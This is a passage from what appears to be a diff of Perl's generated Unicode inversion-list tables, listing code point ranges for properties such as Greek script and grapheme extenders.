0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBF, - 0xCC0, - 0xCC2, - 0xCC3, - 0xCC5, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD3F, - 0xD41, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD4E, - 0xD50, - 0xD54, - 0xD57, - 0xD58, - 0xD62, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDD0, - 0xDD2, - 0xDD8, - 0xDDF, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE3F, - 0xE47, - 0xE4F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF48, - 0xF49, - 0xF6D, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xFBE, - 0xFC6, - 0xFC7, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1360, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1735, - 0x1737, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180B, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1923, - 0x1927, - 0x1929, - 0x192C, - 0x1930, - 0x1932, - 0x1933, - 0x1939, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1E, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B4C, - 0x1B50, - 0x1B6B, - 0x1B74, - 0x1B7D, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1BF4, - 0x1BFC, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200B, - 0x2010, - 0x2028, - 0x202F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2E00, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x302A, - 0x3030, - 0x3040, - 0x3041, - 0x3097, - 0x309B, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C4, - 0xA8CE, - 0xA8DA, - 0xA8F2, - 0xA8FE, - 0xA900, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA954, - 0xA95F, - 0xA97D, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9E5, - 0xA9E6, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFFC, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FD, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E1, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A40, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE5, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1104E, - 0x11052, - 0x11070, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11136, - 0x11144, - 0x11150, - 0x11173, - 0x11174, - 0x11177, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112F0, - 0x112FA, - 0x11302, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x1133F, - 0x11340, - 0x11341, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x1135D, - 0x11364, - 0x11400, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114B0, - 0x114B1, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115AF, - 0x115B0, - 0x115B2, - 0x115B8, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x11600, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A50, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C30, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11CA9, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF5, - 0x16AF6, - 0x16B00, - 0x16B30, - 0x16B37, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D165, - 0x1D166, - 0x1D167, - 0x1D16A, - 0x1D16E, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D200, - 0x1D242, - 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA8C, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D0, - 0x1E900, - 0x1E944, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_GREEKEXT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F00, - 0x2000 -}; - -static const UV PL_GREK_invlist[] = { /* for all charsets */ - 77, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x342, - 0x343, - 0x345, - 0x346, - 0x370, - 0x374, - 0x375, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x384, - 0x385, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3E2, - 0x3F0, - 0x400, - 0x1D26, - 0x1D2B, - 0x1D5D, - 0x1D62, - 0x1D66, - 0x1D6B, - 0x1DBF, - 0x1DC2, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2126, - 0x2127, - 0xAB65, - 0xAB66, - 0x10140, - 0x1018F, - 0x101A0, - 0x101A1, - 0x1D200, - 0x1D246 -}; - -static const UV PL_GREXT_invlist[] = { /* for all charsets */ - 639, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x610, - 0x61B, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9BF, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBBE, - 0xBBF, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xBD7, - 0xBD8, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCBF, - 0xCC0, - 0xCC2, - 0xCC3, - 0xCC6, - 0xCC7, - 0xCCC, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD3F, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD0, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDDF, - 0xDE0, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x180B, - 0x180E, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200C, - 0x200D, - 0x20D0, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x3030, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAAF7, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFF9E, - 0xFFA0, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, 